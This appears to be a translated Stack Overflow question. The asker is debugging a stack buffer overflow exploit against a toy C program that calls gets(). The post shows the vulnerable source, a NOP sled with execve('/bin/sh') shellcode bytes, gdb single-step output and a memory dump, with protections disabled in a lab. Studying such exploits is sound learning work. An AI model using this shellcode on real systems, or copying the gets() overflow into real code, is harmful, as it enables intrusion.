【发布时间】:2013-11-27 20:54:34
【问题描述】:
具有明显缓冲区溢出的基本 C 程序:
void f(){
char buf[100];
gets(buf);
printf("Hello exploit");
}
int main(){
f();
return 0;
}
正确系统的Shellcode: http://www.shell-storm.org/shellcode/files/shellcode-811.php 我在前面放了一个 NOP 雪橇,在后面放了正确的退货地址。
在 gdb 中运行漏洞利用时,我可以看到返回地址已正确更改,执行跳转到我的 nop sled 并继续执行 shellcode。我可以单步执行 shellcode 的开头,但它在结尾处会出现段错误。
(gdb) c
Continuing.
Breakpoint 4, 0xbffff710 in ?? ()
1: x/i $pc
=> 0xbffff710: xor %eax,%eax
(gdb) stepi
0xbffff712 in ?? ()
1: x/i $pc
=> 0xbffff712: push %eax
(gdb) stepi
0xbffff713 in ?? ()
1: x/i $pc
=> 0xbffff713: push $0x68732f2f
(gdb) stepi
0xbffff718 in ?? ()
1: x/i $pc
=> 0xbffff718: push $0x6e69622f
(gdb) stepi
0xbffff71d in ?? ()
1: x/i $pc
=> 0xbffff71d: mov %esp,%ebx
(gdb) stepi
0xbffff71f in ?? ()
1: x/i $pc
=> 0xbffff71f: mov %eax,%ecx
(gdb) stepi
0xbffff721 in ?? ()
1: x/i $pc
=> 0xbffff721: mov %eax,%edx
(gdb) stepi
0xbffff723 in ?? ()
1: x/i $pc
=> 0xbffff723: mov $0x2f,%al
(gdb) stepi
0xbffff725 in ?? ()
1: x/i $pc
=> 0xbffff725: bound %ebp,0x6e(%ecx)
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
程序有一个可执行堆栈 (execstack -s vulnerableApp) 并且 ASLR 已关闭。
所以三个问题:
- 绑定指令从何而来?来自 url 的 shellcode 没有绑定 oppcode
- 为什么会出现段错误?
- 我该如何解决? (我宁愿了解这里发生了什么,然后尝试不同的 shellcode)
-- 编辑 我忘了提到我在同一个系统上使用了这个 shellcode 来利用不同的二进制文件并且它有效。
更新
是的,shellcode 已完整交付:
0xbffff6f6: 0x90909090 0x90909090 0x90909090 0x90909090
0xbffff706: 0x90909090 0x90909090 0xc0319090 0x2f2f6850
0xbffff716: 0x2f686873 0x896e6962 0x89c189e3 0xcd0bb0c2
0xbffff726: 0x40c03180 0xf48680cd 0x8400bfff 0x00000804
0xbffff736: 0x00000000 0x44d30000 0x0001b7e4 0xf7d40000
您可以看到雪橇,然后是漏洞利用。
【问题讨论】:
-
您确定所有注入的代码都写入内存吗?
-
该地址的操作应该是 'cd 80 int $0x80',知道它与 'bound %ebp,0x6e(%ecx)' 的比较会很有趣
-
shellcode 在那里。我添加了打印输出。
标签: c security gdb stack-overflow exploit